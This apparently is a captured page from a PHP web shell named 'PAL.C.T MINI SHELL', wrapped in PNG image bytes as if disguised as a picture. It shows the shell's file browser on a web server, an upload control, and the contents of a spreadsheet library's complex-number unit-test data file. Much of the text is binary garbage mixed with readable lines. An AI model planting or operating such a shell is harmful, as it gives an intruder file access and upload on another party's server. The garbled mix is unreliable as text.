php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Engineering/
upload
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Engineering/IMSUM.data

"12.34+5.67j",	"123.45+67.89i",				"#NUM!"
"12.34+5.67j",	"123.45+67.89j",				"135.79+73.56j"
"12.34-5.67i",	"123.45+67.89i",				"135.79+62.22i"
"12.34+5.67i",	"123.45-67.89i",				"135.79-62.22i"
"12.34-5.67i",	"123.45-67.89i",				"135.79-73.56i"
"12.34+5.67i",	"123.45+67.89i",	"123.45+67.89i",	"259.24+141.45i"
"12.34+5.67i",	"123.45+67.89i",	"123.45+67.89j",	"#NUM!"
"-12.34-5.67i",	"123.45-67.89i",				"111.11-73.56i"
"12.34-5.67i",	"-123.45-67.89i",				"-111.11-73.56i"
"-12.34-5.67i",	"-123.45-67.89i",				"-135.79-73.56i"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`